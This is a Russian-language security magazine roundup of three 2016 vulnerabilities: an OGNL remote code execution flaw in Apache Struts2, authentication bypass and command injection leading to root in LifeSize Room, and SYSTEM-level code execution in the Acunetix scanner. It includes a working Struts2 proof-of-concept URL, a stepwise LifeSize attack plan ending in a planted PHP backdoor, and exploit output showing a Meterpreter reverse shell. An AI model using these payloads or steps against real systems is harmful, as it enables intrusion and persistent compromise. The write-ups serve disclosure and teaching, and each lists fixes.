В сегодняшнем обзоре мы проанализируем уязвимость в популярном Apache Struts, опасность которой, возможно, недооценили, а затем разберем ошибки в популярном сканере Acunetix, уже появлявшемся как в наших обзорах, так и в других статьях ][.

 

Удаленное выполнение кода в Struts2

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 26 апреля 2016 года
Автор: Nike Zheng, NSFOCUS
CVE: CVE-2016-3081

21 апреля 2016 года разработчики Struts2 опубликовали несколько CVE, одна из них, CVE-2016-3081, имела довольно высокий рейтинг. Опасность заключается в открытом динамическом вызове, который атакующий может использовать для проведения атаки типа «удаленное выполнение кода».

При исследовании исходников предыдущей и запатченной версий было обнаружено, что изменился только файл DefaultActionMapper.java.

Патч для DefaultActionMapper.java
Патч для DefaultActionMapper.java

Ты можешь видеть, что добавился новый метод cleanupActionName для фильтрации значения переменной. Новый метод запрещает использование большинства специальных символов. Помимо изменений, показанных на скриншоте, были добавлены выражения OGNL в invokeAction из DefaultAction.java:

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();

  if (LOG.isDebugEnabled()) {
    LOG.debug("Executing action method = #0", methodName);
  }

  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
    Object methodResult;
    try {
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
      ...

Возможно, тебе знаком параметр methodName в вызове getValue() и ты знаешь, что он делает, — связанные с ним уязвимости были в Struts. Этот случай отличается наличием пары скобок, но грамматика похожа. Ниже представлен код для версии, которая была перед 2.3.18.

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();

  if (LOG.isDebugEnabled()) {
    LOG.debug("Executing action method = #0", methodName);
  }

  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
    boolean methodCalled = false;
    Object methodResult = null;
    Method method = null;
    try {
      method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);
      ...

Тут используется отражение (reflection), которое и позволяет провести эксплуатацию уязвимости. И, как пишет автор эксплоита, этой CVE присвоен недостаточно высокий рейтинг опасности.

 

EXPLOIT

Сложности есть в двух местах. Одно из них упомянуто выше: для последнего выражения в скобках нужно указать правильный синтаксис. Другое проблемное место — процесс передачи, который проходит обработку, что запрещает использование обычных и двойных кавычек, поэтому нужно искать обходной вариант.

Для выражения в скобках ты можешь использовать напрямую new java.lang.String, который будет передан в new java.lang.String() в соответствии с правильным синтаксисом OGNL.

В случае с обработкой специальных символов, то есть запретом на использование кавычек, ты можешь применить ссылочный метод передачи параметров для передачи строки. К примеру, использовать parameters.cmd и параметр cmd в HTTP-запросе. Ниже представлен PoC, который запускает текстовый редактор Gedit.

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String
Результат успешной эксплуатации — запуск текстового редактора Gedit
Результат успешной эксплуатации — запуск текстового редактора Gedit

Оригинальная статья представлена на популярном китайском ресурсе drops.wooyun.org.

В Metasploit также появился модуль для автоматизации атаки с применением этой уязвимости.

msf > use exploit/multi/http/struts_dmi_exec
 

TARGETS

Struts 2.3.20 — Struts 2.3.28 (кроме 2.3.20.3 и 2.3.24.3).

 

SOLUTION

Производитель выпустил исправление, также можно отключить Dynamic Method Invocation.

 

LifeSize Room — удаленное выполнение кода и повышение привилегий

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 25 апреля 2016 года
Автор: d3vil401
CVE: N/A

LifeSize — это ПО для совершения VoIP-звонков через графический веб-интерфейс на Flash. С помощью поисковика Shodan можно найти устройства, использующие этот продукт. Автор проверил найденные уязвимости на большом количестве систем из списка по ссылке, и они успешно сработали. Он не исследовал SIP-процессы и бинарные файлы VoIP, а просто проанализировал веб-панель и в результате смог получить права администратора на сервере.

На одном из Black Hat был подобный доклад Hacking VoIP Exposed, который автор рекомендует всем заинтересовавшимся этой темой. Также он нашел похожую уязвимость под номером CVE-2011-2763, но при попытке использования она не сработала, так что, скорее всего, была запатчена.

Но вернемся к нашим уязвимостям. Для начала нужно понять, как устроен LifeSize.

  1. На портах 80/443 имеется веб-панель с приложением на Flash.
  2. Приложение взаимодействует с gateway PHP file (по протоколу AMF).
  3. Каждое действие требует, чтобы клиент «пинговал» gateway, — увидеть, что сервер доступен.
  4. Весь процесс контролируется клиентом.

Редактируя AMF HTTP пакеты, автор смог понять процессы взаимодействия внутри LifeSize.

 

EXPLOIT

Начнем с первой уязвимости — обхода системы аутентификации.

После загрузки файлов SWF и XML с локализацией первый же важный HTTP-пакет запрашивает у клиента, действительно ли он отправит правильные данные для доступа в панель, а затем переходит туда. Для этого используется один флаг типа integer — skipLogin. Хотя другие поля (autoLoginKey, autoLoginKeyValidity, key) наводят на мысль, что нам потребуется действительный токен сессии, достаточно этот флаг установить в 1, и получим доступ к панели.

Обход системы аутентификации в LifeSize
Обход системы аутентификации в LifeSize

Следующая уязвимость — принудительное изменение пароля администратора. Тот сервер, который тестировал автор, не позволял изменять пароль администратора из SWF-меню, но после исследования трафика он обнаружил, что SWF-клиент передает пустое значение нового пароля. Поэтому он попробовал перехватить пакет и изменить пароль. Это не представляло особой сложности, так как передавалась обычная и незашифрованная строка.

Структура пакета перед изменением поля с новым паролем
Структура пакета перед изменением поля с новым паролем
Структура пакета после изменения поля с новым паролем
Структура пакета после изменения поля с новым паролем

Далее — удаленное выполнение кода. Как обычно бывает, все HTTP-пакеты, которые включают в себя команды от пользователя и выполняются на сервере, инъецируемы, но лучше всего для этого подходит ping.

Эта функция содержит следующую логику:

  1. Проверяет, доступен ли сервер.
  2. Устанавливает IP-адрес цели.
  3. Включает функцию пинга.
  4. Выполняет встроенную функцию для пинга.
  5. Отправляет четыре запроса по HTTP.

Уязвима пятая часть, позволяющая нам выполнить большинство команд, которые мы захотим выполнить, потому что если счетчик не достигает четырех, то функция продолжает повторять запрос, и тут мы можем открыть непрерывный поток выполнения своих команд.

Запрос пинга с добавлением своих команд в LifeSize
Запрос пинга с добавлением своих команд в LifeSize
Ответ на запрос после добавления своих команд в LifeSize
Ответ на запрос после добавления своих команд в LifeSize

Ну и закончим уязвимостью, похожей на тип «отказ в обслуживании». Ее эксплуатация очень проста: используя описанное выше выполнение команд, можно просто открыть в vi любой документ, сервис Apache 2 в свою очередь не будет отвечать, так как будет ожидать завершения процесса vi.

На этом с уязвимостями все, но, чтобы нормально закрепиться в системе, надо понять структуру устройства, поэтому рассмотрим и ее, тем более наличие RCE это позволяет :).

По умолчанию в OpenBSD у нас есть три аккаунта: root, admin и cli.

  • root — к этому аккаунту может получить доступ только поддержка LifeSize, которая удаленно подключается через SSH с помощью RSA-ключа. Он находится в /var/root/ и защищен паролем. Забегая вперед, скажу, что другой RSA-ключ, не защищенный паролем, позволил получить права администратора на сервере.
  • admin — это аккаунт администратора для клиента. Автор не смог добыть дополнительную информацию о нем, и единственный путь получить доступ к хешу пароля в /etc/shadow — это вариант со взломом RSA-ключа root-аккаунта, так что этот шаг был пропущен.
  • cli — эта учетная запись используется и аккаунтом admin, и программами — для выполнения заранее зарегистрированных команд. Обычно такие вещи заключаются в песочницу, и нет никакого способа выполнить системные команды из командной строки. Но в любом случае это действительный аккаунт с возможностью аутентификации через SSH и Telnet, самое важное — это наличие директории coroner.

По умолчанию у нас установлены: Apache 2, Lua 5.1 (для импортирования и проверки лицензии LifeSize), PHP и BusyBox. Используя RCE, мы получаем отличную отправную точку в качестве пользователя Apache, но нам нужно как-то закрепить доступ — хотя бы поместить бэкдор, и лучше всего он будет работать в виде PHP-файла. А его еще нужно куда-то закинуть.

Мы не можем писать в директорию /usr/local/lifesize/gui/www/htdocs/, где находятся все PHP-файлы, но автор отыскал возможность читать их. Благодаря этому были найдены полезные данные, к примеру аутентификация к базе данных или рабочему серверу, crossdomain.xml и другие, более интересные вещи. Наконец-то получила объяснение и возможность выполнения команд — gateway исполнял их с помощью shell_exec без какой-либо фильтрации.

Если интересно, можешь ознакомиться с содержимым файла /usr/local/lifesize/gui/www/htdocs/services/LSRoom_Remoting.php на сайте автора эксплоита.

Но как же все-таки разместить бэкдор? Автор попытался использовать wget и nc из BusyBox, но они блокировались файрволом, что наводило на мысль о невозможности атаки от имени Apache. Но после анализа директории htdocs был найден любопытный путь.

- API
- autosh_cmd.php
- core
- crossdomain.xml
- css
- data
- gateway.php
- globals.php
- images
- includes
- index.php
- index.swf
- interface
- js
- reopen.php
- scripts
- services
- snap
- support <---
- tmp
- xmlrpc.php

Этот каталог работает как диагностическая онлайновая панель и позволяет делать много интересных вещей. Лучшая среди них — это возможность снифать TCP, используя функцию Advanced: включив ее, мы можем перехватывать все данные внутри сети. После их изучения стало понятно и то, что автор не первый, кто пытается атаковать этот сервер.

На странице диагностики была показана опция под названием coroner. Это утилита для упаковки, которая вначале выполняет команду whoami, и результат — root. А это уже очень интересно, так как никто и ничто не может получить доступ к руту на сервере, кроме этой утилиты. Сдампив с помощью hexdump этот файл в /var/local/lifesize/bin/coroner, автор обнаружил, что это bash-скрипт, содержится пять захардкоженных приватных RSA-ключей для аутентификации через SSH с правами root. Воспользовавшись ими, он получил успешную аутентификацию на устройстве :).

Теперь, имея такие высокие права доступа, мы просто обязаны поместить бэкдор на сервер. Но если у нас права root, то мы не можем изменять директорию htdocs. Поэтому был найден обходной путь — сделать символьную ссылку на /data/home/apache/tmp, куда пользователь Apache может производить запись. К бэкдору можно будет получить доступ по следующей ссылке:

https://xxx.xxx.xxx.xxx/support/tmp/backdoor.php

Таким образом, у нас есть план атаки на устройства с подобным ПО.

  1. В протоколе AMF меняем флаг skipLogin на 1.
  2. В протоколе AMF добавляем свои команды в функцию ping.
  3. Вытаскиваем приватные ключи доступа к SSH из /var/local/lifesize/bin/coroner.
  4. Получаем доступ к серверу с правами root.
  5. Записываем бэкдор на PHP в /data/home/apache/tmp/.
  6. Получаем пароль пользователя cli или удаляем .htaccess в ../htdocs/support.
  7. Получаем доступ к бэкдору в любое время!

Вопросы автору эксплоита можно задать в комментариях к оригинальной статье в его блоге.

 

SOLUTION

Об исправлениях на момент написания статьи не было известно. Автор рекомендует отключить удаленный доступ администратору через SSH и, возможно, удалить опасную директорию coronerz, если, конечно, она тебе точно не нужна :).

 

Удаленное выполнение кода в Acunetix WVS 10

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 2 мая 2016 года
Автор: Daniele Linguaglossa
CVE: N/A

И снова мы рассмотрим уязвимость в «атакующем» ПО — Acunetix. В его последней на момент поиска уязвимостей версии были обнаружены ошибки, которые позволяли выполнить команды с правами SYSTEM.

Первая уязвимость кроется в рендеринге элементов HTML внутри графического интерфейса. Он использует jscript.dll без каких-либо проверок на небезопасные объекты ActiveX — к примеру, WScript.Shell. Если во время сканирования при помощи Acunetix стриггерить уязвимость, то он сохранит локально HTML с полученным содержимым. Таким образом, можно сделать ложную уязвимость для сканера и вставить код на JavaScript, который выполнит команду.

Следующая ошибка находится в планировщике Acunetix scheduler. Он позволяет запрограммировать сканирование сайтов без какого-либо взаимодействия с пользователем, а запланировать можно через веб-интерфейс по адресу 127.0.0.1:8183.

Перед реальным сканированием Acunetix проводит некоторые тесты, находятся они в директории C:\ProgramData\Acunetix WVS 10\Data\Scripts.

В Windows есть встроенная утилита icacls, которая показывает наличие «плохих» прав доступа. С ее помощью любой пользователь, в том числе гость, может заменить некоторые проверки своими собственными (тут стоит напомнить о предыдущей уязвимости с jscript.dll):

C:\ProgramData\Acunetix WVS 10\Data>icacls Scripts
Scripts Everyone:(OI)(CI)(M)
        Everyone:(I)(OI)(CI)(M)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
        BUILTIN\Administrators:(I)(OI)(CI)(F)
        CREATOR OWNER:(I)(OI)(CI)(IO)(F)
        BUILTIN\Users:(I)(OI)(CI)(RX)
        BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)  <---- UNSAFE [3]
 

EXPLOIT

Используя эти две ошибки, автор написал эксплоит на языке Python для полноценной RCE-атаки. В нем используется несколько полезных нагрузок:

  • Meterpreter;
  • загрузка и запуск exe;
  • запуск команды CMD.

Ниже представлен пример запуска.

$ acu0day.py 9999 172.16.24.1

Acunetix WVS 10 - SYSTEM Remote Command Execution (Daniele Linguaglossa)
Payload: Meterpreter reverse TCP 4444
Exploit started on port *:9999
[+] Waiting for scanner...
...
[*] Triggering EXPLOIT_STAGE_2 sending (5068) bytes !
[*] Sleeping 1 minutes to elevate privileges...ZzZz
[!] Stopping server !
[!] Exploit successful wait for session!

Далее запускаем на своей машине модуль для ожидания соединения от атакуемой системы:

msf exploit(handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.24.192
[*] Meterpreter session 1 opened (172.16.24.1:4444 -> 172.16.24.192:51782) at 2016-05-02 15:02:31 +0200

meterpreter >

Исходники эксплоита опубликованы на GitHub, а демонстрационное видео есть на YouTube автора.

 

TARGETS

Acunetix WVS 10.

 

SOLUTION

Производитель выпустил исправление.

Оставить мнение